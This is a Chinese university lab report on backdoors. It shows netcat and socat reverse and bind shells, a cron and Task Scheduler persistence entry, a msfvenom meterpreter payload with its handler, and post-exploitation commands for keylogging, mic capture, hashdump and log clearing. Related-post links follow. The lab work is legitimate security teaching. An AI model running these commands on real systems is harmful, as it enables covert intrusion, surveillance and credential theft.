20165310 NetSec Exp2后门原理与实践

一、基础问题

  • 例举你能想到的一个后门进入到你系统中的可能方式?

    • 网页木马等访问网页导致
    • 下载非官方源软件
    • 随意下载邮件中不明程序等
  • 例举你知道的后门如何启动起来(win及linux)的方式?
    • 修改注册表,使后门进行自启动
    • 制定定时启动
  • Meterpreter有哪些给你映像深刻的功能?
    • msfconsole真是太好看了
    • 生成后门程序并且传输给目标电脑,连接控制
  • 如何发现自己有系统有没有被安装后门?
    • 查看进程,是否有异常进程
    • 查看注册表是否被修改过
    • 查看日志,是否有异常日志
    • 杀毒软件、防火墙

二、常用后门工具

1、natcat

  • 前期准备,获得主机ip

    • win:ipconfig

    linux:ifconfig

  • Win获得Linux Shell:利用反弹连接,此时win为攻击者,linux为受害者

    • windows 打开监听ncat.exe -l -p 5310

    • Linux反弹连接winnc 192.168.154.149 5310 -e /bin/sh

    • windows下获得一个linux shell,可运行任何指令,如ls

  • linux 获取 win的shell:利用反弹连接,此时linux为攻击者,win为受害者

    • kali下监听端口ncat.exe -l 5310

    • win10反弹连接kali ncat.exe -e cmd.exe 192.168.154.146 5310

    • linux下获得一个windows shell,可运行任何指令,如ls

  • nc传数据

    • Win下监听5310端口ncat.exe -l 5310,linux连接winnc 192.168.154.149 5310,随后在Linux输入需要传输的字符

    • 可以发现windows接收到了相同的数据

  • nc传输文件

    • 之后传输后门软件可以体现,没有进行单独的实验

三、实验内容

任务一:使用netcat获取主机操作Shell,cron启动

  • Windows启用监听ncat.exe -l 5310

  • 在Kali环境下用crontab -e指令编辑一条定时任务,初次使用需要选择编辑器,这里我们选择3,具体区别可以参考博客个人使用vim的一点心得

  • 在最后一行添加18 * * * * /bin/netcat 192.168.154.149 5310 -e /bin/sh,意思是在每个小时的第18分钟反向连接Windows主机的5310端口,具体crontab的用法可以参考博客crontab 详细用法 定时任务

  • 定时任务设定成功

  • 时间到后,windows获得shell

任务二:使用socat获取主机操作Shell, 任务计划启动

  • 在Windows7系统下,打开计算机管理->任务计划程序->创建任务,填写任务名称后NetSec_Exp2_5310

  • 新建触发器,工作站锁定时开始任务(模拟用户不在电脑前),选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5310 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5310,同时把cmd.exestderr重定向到stdout

  • 创建完成之后,按Win+L快捷键锁定计算机,解除锁屏后,可以发现之前创建的任务已经开始运行

  • kali下输入指令socat - tcp:192.168.154.149:5310成功获得shell

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 利用MSF生成恶意后门msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.146 LPORT=5310 -f exe > 5310_backdoor.exe,这里的IP地址为攻击者IP,即kali本机IP

    参数说明:

    -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    -e 使用的编码器,用于对shellcode变形,为了免杀。
    -i 编码器的迭代次数。如上即使用该编码器编码5次。
    -b badchar是payload中需要去除的字符。
    LHOST 是反弹回连的IP
    LPORT 是回连的端口
    -f 生成文件的类型
    > 输出到哪个文件
  • kali下执行,在Windows下执行ncat.exe -lv 5310 > 5310_backdoor.exe指令,通过-lv选项看到当前的连接状态,在Linux中执行nc 192.168.154.149 5310 < 5310_backdoor.exe,这里的IP为被控主机IP,即Win7 IP,可以看见文件传输成功(文件大小为73k与生成大小匹配,截图中未能截到,可以通过这个判断是否传输完毕)

  • 在Kali上使用msfconsole指令进入msf控制台

  • 开始输入指令进行设置

    • 输入use exploit/multi/handler使用监听模块,设置payload

    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

    • set LHOST 192.168.154.146,这里是Kalid IP,即本机IP,和生成后门程序时指定的IP相同

    • set LPORT 5310,同样要使用相同的端口

    • 可以用命令show options确认设置是否正确

  • 输入攻击指令exploit进行攻击,获得shell

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • record_mic截获音频,可以用-d选项设置录制时间,默认2s

  • keyscan_start指令开始记录击键,keyscan_dump指令读取击键的记录,在Windows中输入命名为key的TXT文件,内容为 Hello World

  • screenshot进行屏幕截屏

  • 还有多条指令,可参照下方参数列表,或者自己用help指令更全面:

    meterpreter > help
    Core Commands第一部分是核心指令
    ============= Command Description
    ------- -----------
    ? Help menu
    background Backgrounds the current session
    bgkill Kills a background meterpreter script
    bglist Lists running background scripts
    bgrun Executes a meterpreter script as a background thread
    channel Displays information or control active channels
    close Closes a channel
    disable_unicode_encoding Disables encoding of unicode strings
    enable_unicode_encoding Enables encoding of unicode strings
    exit Terminate the meterpreter session
    get_timeouts Get the current session timeout values
    help Help menu
    info Displays information about a Post module
    irb Drop into irb scripting mode
    load Load one or more meterpreter extensions
    machine_id Get the MSF ID of the machine attached to the session
    migrate Migrate the server to another process
    quit Terminate the meterpreter session
    read Reads data from a channel
    resource Run the commands stored in a file
    run Executes a meterpreter script or Post module
    set_timeouts Set the current session timeout values
    sleep Force Meterpreter to go quiet, then re-establish session.
    transport Change the current transport mechanism
    use Deprecated alias for 'load'
    uuid Get the UUID for the current session
    write Writes data to a channel Stdapi: File system Commands第二部分是文件系统相关的
    ============================ Command Description
    ------- -----------
    cat Read the contents of a file to the screen
    cd Change directory
    dir List files (alias for ls)
    download Download a file or directory
    edit Edit a file
    getlwd Print local working directory
    getwd Print working directory
    lcd Change local working directory
    lpwd Print local working directory
    ls List files
    mkdir Make directory
    mv Move source to destination
    pwd Print working directory
    rm Delete the specified file
    rmdir Remove directory
    search Search for files
    show_mount List all mount points/logical drives
    upload Upload a file or directory Stdapi: Networking Commands当然少不了网络操作的了
    =========================== Command Description
    ------- -----------
    arp Display the host ARP cache
    getproxy Display the current proxy configuration
    ifconfig Display interfaces
    ipconfig Display interfaces
    netstat Display the network connections
    portfwd Forward a local port to a remote service
    resolve Resolve a set of host names on the target
    route View and modify the routing table Stdapi: System Commands系统指令
    ======================= Command Description
    ------- -----------
    clearev Clear the event log
    drop_token Relinquishes any active impersonation token.
    execute Execute a command
    getenv Get one or more environment variable values
    getpid Get the current process identifier
    getprivs Attempt to enable all privileges available to the current process
    getsid Get the SID of the user that the server is running as
    getuid Get the user that the server is running as
    kill Terminate a process
    ps List running processes
    reboot Reboots the remote computer
    reg Modify and interact with the remote registry
    rev2self Calls RevertToSelf() on the remote machine
    shell Drop into a system command shell
    shutdown Shuts down the remote computer
    steal_token Attempts to steal an impersonation token from the target process
    suspend Suspends or resumes a list of processes
    sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands用户接口,可以抓取击键记录
    =============================== Command Description
    ------- -----------
    enumdesktops List all accessible desktops and window stations
    getdesktop Get the current meterpreter desktop
    idletime Returns the number of seconds the remote user has been idle
    keyscan_dump Dump the keystroke buffer
    keyscan_start Start capturing keystrokes
    keyscan_stop Stop capturing keystrokes
    screenshot Grab a screenshot of the interactive desktop
    setdesktop Change the meterpreters current desktop
    uictl Control some of the user interface components Stdapi: Webcam Commands
    ======================= Command Description
    ------- -----------
    record_mic Record audio from the default microphone for X seconds
    webcam_chat Start a video chat
    webcam_list List webcams
    webcam_snap Take a snapshot from the specified webcam
    webcam_stream Play a video stream from the specified webcam Priv: Elevate Commands提权
    ====================== Command Description
    ------- -----------
    getsystem Attempt to elevate your privilege to that of local system.
    ***我的win7没成功*** Priv: Password database Commands导出密码文件SAM
    ================================ Command Description
    ------- -----------
    hashdump Dumps the contents of the SAM database Priv: Timestomp Commands修改文件操作时间,清理现场用
    ======================== Command Description
    ------- -----------
    timestomp Manipulate file MACE attributes
  • 有些指令需要打开虚拟机摄像头连接,有些需要进行额外攻击操作,例如win7提权失败提示显示需要进行UAC绕过

遇到问题与解决方法

  • socat命令输错

    • 原因与解决方法:- tcp中间存在空格要注意
  • msf打开摄像头失败

    • 原因与解决方法:我的win7虚拟机设置连接后依然无法识别内置摄像头,需要真机环境或外设
  • msf无法连接

    • 原因与解决方法:输错host,由于复制原因,生成的.exe文件与设置的host错的很统一,迟迟找不出错误,改正即可

心得体会

  • 实验过程中犯了许多小错误,导致实验时间大大延长,需要更加细心严谨
  • MSF要学习的内容还很多,要多加研究学习

20165310 NetSec Week4 Exp2 后门原理与实践的更多相关文章

  1. 2018-2019-2 《网络对抗技术》Exp2 后门原理与实践 Week4 20165233

    Exp2 后门原理与实践 实验内容 一.基础问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 答:通过访问钓鱼网站,无意下载了一些图片或是文件.而这个图片或文件中携带后门. 2.例举你知 ...

  2. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  3. 2018-2019 2 20165203 《网络对抗技术》 Exp2 后门原理与实践

    2018-2019 2 20165203 <网络对抗技术> Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获 ...

  4. 20155210 Exp2 后门原理与实践

    20155210 Exp2 后门原理与实践 1.Windows获得Linux Shell 在windows下,打开CMD,使用ipconfig指令查看本机IP 如图: 然后使用ncat.exe程序,n ...

  5. 20155226 Exp2 后门原理与实践

    20155226 Exp2 后门原理与实践 第一次实验博客交了蓝墨云未在博客园提交,链接 1.Windows获得Linux Shell 在windows下,打开CMD,使用ipconfig指令查看本机 ...

  6. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

  7. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  8. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  9. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

随机推荐

  1. vue中使用elementui里的table时不被选中设置

    情景:例如提现列表,转账失败后转账金额直接返回用户余额,所以当前数据不可以再次操作 直接粘贴代码: <el-table-column type="selection" wid ...

  2. MySQL创建外键约束的报错Error : Can't create table '#sql-534_185' (errno: 150)

    总得来说是因为两个表的字段类型不一致,例如: 两个字段的类型或大小不严格匹配,一个为tinyint,另一个为char:或一个为int(10)另一个为int(9)也是不行的,即使都为int(10),但一 ...

  3. 4.无监督学习--K-means聚类

    K-means方法及其应用 1.K-means聚类算法简介: k-means算法以k为参数,把n个对象分成k个簇,使簇内具有较高的相似度,而簇间的相似度较低.主要处理过程包括: 1.随机选择k个点作为 ...

  4. Python - 5.Exception Handling

    From:http://interactivepython.org/courselib/static/pythonds/Introduction/ExceptionHandling.html Exce ...

  5. C#-----创建DataTable对象

    //DataTable表示内存中数据的一个表 DataTable dt = new DataTable(); /** * public DataColumn Add(string columnName ...

  6. 20155228 基于VirtualBox安装Ubuntu和学习linux命令的学习经历和心得

    一.虚拟机VirtualBox的下载安装 基于VirtualBox虚拟机安装Ubuntu图文教程 虽然娄老师的教程对于VirtualBox的下载安装讲的很简单,可以说是一笔带过,但是我在下载安装的过程 ...

  7. 前端 dojo

    http://dojotoolkit.org/documentation/tutorials/1.10/hello_dojo/ html在线编辑器 国内 http://runjs.cn 国外 http ...

  8. MVC 中的Model对象

    最近实在是太忙,客户丢了一个框架,没有任何说明文档,更没有所谓的技术支持,一直忙于学习,最后好歹还有点头绪,话不多说,MVC的学习是不能拉下的,就当前小白的我,认为MVC中的M并不是想象中的那样简单, ...

  9. Jmeter分布式压力测试

    有时候,一台机器无法支持很多个虚拟用户并发,这时就会使用分布式测试来实现这个功能,jmeter是有提供这个功能的.要实现分布式测试,得在主从(agent和controler)机器的jmeter安装目录 ...

  10. LDA模型了解及相关知识

    什么是LDA? LDA是基于贝叶斯模型的,涉及到贝叶斯模型离不开“先验分布”,“数据(似然)”和"后验分布"三块.贝叶斯相关知识:先验分布 + 数据(似然)= 后验分布. 贝叶斯模 ...